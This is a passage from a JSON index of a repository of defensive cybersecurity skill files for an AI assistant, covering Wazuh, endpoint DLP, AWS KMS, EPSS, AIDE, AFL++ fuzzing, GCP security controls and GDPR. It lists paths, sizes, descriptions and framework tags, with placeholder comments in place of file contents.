-->","isInternal":false,"tokens":542,"sizeBytes":2055},{"name":"SKILL.md","path":"skills/implementing-endpoint-detection-with-wazuh/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-endpoint-detection-with-wazuh/SKILL.md","title":"implementing-endpoint-detection-with-wazuh","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-detection-with-wazuh%2FSKILL.md -->","frontmatter":{"name":"implementing-endpoint-detection-with-wazuh","description":"Deploys and configures Wazuh SIEM/XDR for endpoint detection, covering agent authentication and management, custom decoder and rule XML creation, alert querying via the Wazuh REST API, rule testing with wazuh-logtest, and automated active-response actions. Use when setting up endpoint detection and response, writing or testing custom Wazuh rules, or querying and triaging Wazuh alerts.","domain":"cybersecurity","subdomain":"security-operations","tags":["siem","xdr","wazuh","endpoint-detection","custom-rules","incident-response"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1","MANAGE-2.4","MEASURE-3.1"],"nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1685.002","T1685.005"]},"isInternal":false,"tokens":577,"sizeBytes":2326},{"name":"template.md","path":"skills/implementing-endpoint-dlp-controls/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-endpoint-dlp-controls/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":113,"sizeBytes":427},{"name":"api-reference.md","path":"skills/implementing-endpoint-dlp-controls/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-endpoint-dlp-controls/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":450,"sizeBytes":1517},{"name":"standards.md","path":"skills/implementing-endpoint-dlp-controls/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-endpoint-dlp-controls/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":109,"sizeBytes":391},{"name":"workflows.md","path":"skills/implementing-endpoint-dlp-controls/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-endpoint-dlp-controls/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":80,"sizeBytes":306},{"name":"SKILL.md","path":"skills/implementing-endpoint-dlp-controls/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-endpoint-dlp-controls/SKILL.md","title":"implementing-endpoint-dlp-controls","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2FSKILL.md -->","frontmatter":{"name":"implementing-endpoint-dlp-controls","description":"Implements endpoint Data Loss Prevention (DLP) controls to detect and prevent sensitive data exfiltration through email, USB, cloud storage, and printing. Use when deploying DLP agents, creating content inspection policies, or preventing unauthorized data movement from endpoints. Activates for requests involving DLP, data exfiltration prevention, content inspection, or sensitive data protection on endpoints.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","DLP","data-loss-prevention","data-protection","content-inspection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0024","AML.T0056"],"nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1","MAP-5.1","MANAGE-2.4"],"nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036","T1048"]},"isInternal":false,"tokens":1416,"sizeBytes":5939},{"name":"template.md","path":"skills/implementing-envelope-encryption-with-aws-kms/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-envelope-encryption-with-aws-kms/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":667,"sizeBytes":2258},{"name":"api-reference.md","path":"skills/implementing-envelope-encryption-with-aws-kms/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-envelope-encryption-with-aws-kms/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":498,"sizeBytes":1916},{"name":"standards.md","path":"skills/implementing-envelope-encryption-with-aws-kms/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-envelope-encryption-with-aws-kms/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":510,"sizeBytes":1943},{"name":"workflows.md","path":"skills/implementing-envelope-encryption-with-aws-kms/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-envelope-encryption-with-aws-kms/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":424,"sizeBytes":1515},{"name":"SKILL.md","path":"skills/implementing-envelope-encryption-with-aws-kms/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-envelope-encryption-with-aws-kms/SKILL.md","title":"implementing-envelope-encryption-with-aws-kms","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2FSKILL.md -->","frontmatter":{"name":"implementing-envelope-encryption-with-aws-kms","description":"Implements envelope encryption with AWS KMS, encrypting data locally with a data encryption key (DEK) and protecting that DEK with a KMS-managed key (KEK), covering the encrypt/decrypt flow, KMS key types, and security validation criteria. Use when designing key management for encrypting large or numerous data objects on AWS, or when reducing direct KMS API call volume.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","encryption","aws","kms","envelope-encryption","key-management"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553","T1078.004","T1530"]},"isInternal":false,"tokens":886,"sizeBytes":3814},{"name":"template.md","path":"skills/implementing-epss-score-for-vulnerability-prioritization/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-epss-score-for-vulnerability-prioritization/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":570,"sizeBytes":1774},{"name":"api-reference.md","path":"skills/implementing-epss-score-for-vulnerability-prioritization/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-epss-score-for-vulnerability-prioritization/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":476,"sizeBytes":1655},{"name":"standards.md","path":"skills/implementing-epss-score-for-vulnerability-prioritization/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-epss-score-for-vulnerability-prioritization/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":736,"sizeBytes":2729},{"name":"workflows.md","path":"skills/implementing-epss-score-for-vulnerability-prioritization/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-epss-score-for-vulnerability-prioritization/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":338,"sizeBytes":1358},{"name":"SKILL.md","path":"skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md","title":"implementing-epss-score-for-vulnerability-prioritization","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2FSKILL.md -->","frontmatter":{"name":"implementing-epss-score-for-vulnerability-prioritization","description":"Queries FIRST's Exploit Prediction Scoring System (EPSS) API to fetch exploitation-probability and percentile scores for CVEs, then uses those scores to prioritize vulnerability remediation. Use when triaging or ranking a vulnerability backlog by real-world 30-day exploitation likelihood rather than CVSS severity alone.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["epss","vulnerability-prioritization","first","exploit-prediction","cvss","risk-based","machine-learning"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2174,"sizeBytes":7582},{"name":"api-reference.md","path":"skills/implementing-file-integrity-monitoring-with-aide/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-file-integrity-monitoring-with-aide/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-file-integrity-monitoring-with-aide%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":646,"sizeBytes":2149},{"name":"SKILL.md","path":"skills/implementing-file-integrity-monitoring-with-aide/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-file-integrity-monitoring-with-aide/SKILL.md","title":"implementing-file-integrity-monitoring-with-aide","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-file-integrity-monitoring-with-aide%2FSKILL.md -->","frontmatter":{"name":"implementing-file-integrity-monitoring-with-aide","description":"Configures AIDE (Advanced Intrusion Detection Environment) for file integrity monitoring on Linux, covering baseline database creation, scheduled integrity checks via cron, change detection, and alerting on unauthorized modifications. Use when setting up host-based file integrity monitoring, detecting unauthorized file changes, or meeting compliance requirements for FIM on Linux systems.","domain":"cybersecurity","subdomain":"endpoint-security","tags":["aide","file-integrity","hids","baseline","intrusion-detection","compliance","linux-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036"]},"isInternal":false,"tokens":541,"sizeBytes":2578},{"name":"template.md","path":"skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":236,"sizeBytes":893},{"name":"api-reference.md","path":"skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":573,"sizeBytes":2114},{"name":"standards.md","path":"skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":425,"sizeBytes":1800},{"name":"workflows.md","path":"skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":330,"sizeBytes":1416},{"name":"SKILL.md","path":"skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md","title":"implementing-fuzz-testing-in-cicd-with-aflplusplus","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2FSKILL.md -->","frontmatter":{"name":"implementing-fuzz-testing-in-cicd-with-aflplusplus","description":"Integrates AFL++ coverage-guided fuzzing into CI/CD pipelines, covering harness construction, AFL++/AddressSanitizer/CmpLog instrumentation builds, and persistent-mode fuzzing to discover memory-corruption and input-handling vulnerabilities in C/C++ code. Use when adding automated fuzz testing to a build pipeline or hunting for memory-safety bugs in native/compiled applications.","domain":"cybersecurity","subdomain":"devsecops","tags":["aflplusplus","fuzz-testing","cicd","coverage-guided-fuzzing","security-testing","vulnerability-discovery","afl"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004","T1005","T1059"]},"isInternal":false,"tokens":2284,"sizeBytes":8465},{"name":"template.md","path":"skills/implementing-gcp-binary-authorization/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-binary-authorization/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":174,"sizeBytes":690},{"name":"api-reference.md","path":"skills/implementing-gcp-binary-authorization/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-binary-authorization/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":441,"sizeBytes":1796},{"name":"standards.md","path":"skills/implementing-gcp-binary-authorization/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-binary-authorization/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":130,"sizeBytes":473},{"name":"workflows.md","path":"skills/implementing-gcp-binary-authorization/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-binary-authorization/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":150,"sizeBytes":653},{"name":"SKILL.md","path":"skills/implementing-gcp-binary-authorization/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-binary-authorization/SKILL.md","title":"implementing-gcp-binary-authorization","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2FSKILL.md -->","frontmatter":{"name":"implementing-gcp-binary-authorization","description":"Implements GCP Binary Authorization end to end, including creating KMS-backed attestors, Container Analysis notes, deploy-time policies, and signing image attestations, so that only trusted, verified images deploy to GKE and Cloud Run. Use when enforcing container supply-chain integrity or deploy-time attestation checks on GCP.","domain":"cybersecurity","subdomain":"cloud-security","tags":["gcp","binary-authorization","container-security","supply-chain","gke","cloud-run","attestation","software-integrity"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1610"]},"isInternal":false,"tokens":1993,"sizeBytes":7838},{"name":"template.md","path":"skills/implementing-gcp-organization-policy-constraints/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-organization-policy-constraints/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":267,"sizeBytes":1172},{"name":"api-reference.md","path":"skills/implementing-gcp-organization-policy-constraints/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-organization-policy-constraints/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":487,"sizeBytes":2094},{"name":"standards.md","path":"skills/implementing-gcp-organization-policy-constraints/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-organization-policy-constraints/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":257,"sizeBytes":1115},{"name":"workflows.md","path":"skills/implementing-gcp-organization-policy-constraints/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-organization-policy-constraints/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":312,"sizeBytes":1685},{"name":"SKILL.md","path":"skills/implementing-gcp-organization-policy-constraints/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-organization-policy-constraints/SKILL.md","title":"implementing-gcp-organization-policy-constraints","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2FSKILL.md -->","frontmatter":{"name":"implementing-gcp-organization-policy-constraints","description":"Implements GCP Organization Policy constraints via gcloud and Terraform, such as restricting external IPs, resource locations, default service accounts, and service account keys, plus dry-run testing of policy impact before enforcement. Use when enforcing security guardrails across an org's resource hierarchy, or hardening GCP config at the org, folder, or project level.","domain":"cybersecurity","subdomain":"cloud-security","tags":["gcp","organization-policy","constraints","governance","compliance","cloud-security","resource-manager"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":1601,"sizeBytes":7156},{"name":"api-reference.md","path":"skills/implementing-gcp-vpc-firewall-rules/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-vpc-firewall-rules/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-vpc-firewall-rules%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":611,"sizeBytes":2365},{"name":"SKILL.md","path":"skills/implementing-gcp-vpc-firewall-rules/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gcp-vpc-firewall-rules/SKILL.md","title":"implementing-gcp-vpc-firewall-rules","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-vpc-firewall-rules%2FSKILL.md -->","frontmatter":{"name":"implementing-gcp-vpc-firewall-rules","description":"Implements and audits GCP VPC firewall rules using gcloud, covering auditing overly permissive rules, creating restrictive ingress/egress rules, hierarchical firewall policies, and monitoring rule effectiveness with VPC Flow Logs. Use when deploying GCP workloads needing network access controls, auditing firewall configs, or responding to Security Command Center findings; not for Cloud Armor or DNS-based filtering.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","gcp","vpc","firewall-rules","network-security","segmentation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":2922,"sizeBytes":12068},{"name":"template.md","path":"skills/implementing-gdpr-data-protection-controls/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gdpr-data-protection-controls/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1493,"sizeBytes":6211},{"name":"api-reference.md","path":"skills/implementing-gdpr-data-protection-controls/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gdpr-data-protection-controls/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":589,"sizeBytes":2171},{"name":"standards.md","path":"skills/implementing-gdpr-data-protection-controls/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gdpr-data-protection-controls/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1356,"sizeBytes":5488},{"name":"workflows.md","path":"skills/implementing-gdpr-data-protection-controls/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gdpr-data-protection-controls/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1757,"sizeBytes":7130},{"name":"SKILL.md","path":"skills/implementing-gdpr-data-protection-controls/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gdpr-data-protection-controls/SKILL.md","title":"implementing-gdpr-data-protection-controls","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2FSKILL.md -->","frontmatter":{"name":"implementing-gdpr-data-protection-controls","description":"Implements GDPR (EU 2016/679) technical and organizational measures — privacy by design/default, DPIAs, data subject rights management, 72-hour breach notification, and cross-border transfer mechanisms (SCCs, BCRs, adequacy). Use when designing or auditing GDPR controls, building a DPIA, handling data subject access/erasure requests, or assessing cross-border data transfers.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["compliance","governance","gdpr","privacy","data-protection","eu-regulation"],"nist_csf":["GV.OC-02","GV.PO-01","PR.DS-01","PR.AA-01","ID.AM-02"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4","MEASURE-2.8","MEASURE-2.9"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"mitre_attack":["T1078","T1530","T1685.002"]},"isInternal":false,"tokens":1914,"sizeBytes":8517},{"name":"api-reference.md","path":"skills/implementing-gdpr-data-subject-access-request/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gdpr-data-subject-access-request/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-subject-access-request%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":2909,"sizeBytes":11411},{"name":"SKILL.md","path":"skills/implementing-gdpr-data-subject-access-request/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-gdpr-data-subject-access-request/SKILL.md","title":"implementing-gdpr-data-subject-access-request","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-subject-access-request%2FSKILL.md -->","frontmatter":{"name":"implementing-gdpr-data-subject-access-request","description":"Automates GDPR Data Subject Access Request (DSAR) workflows including identity verification, PII discovery across databases and files using regex and NER, data mapping, response templating per Article 15 requirements, deadline tracking, and audit logging. Covers ICO/EDPB guidance compliance, exemption handling, and scalable batch processing. Use when building or auditing DSAR response capabilities under GDPR/UK 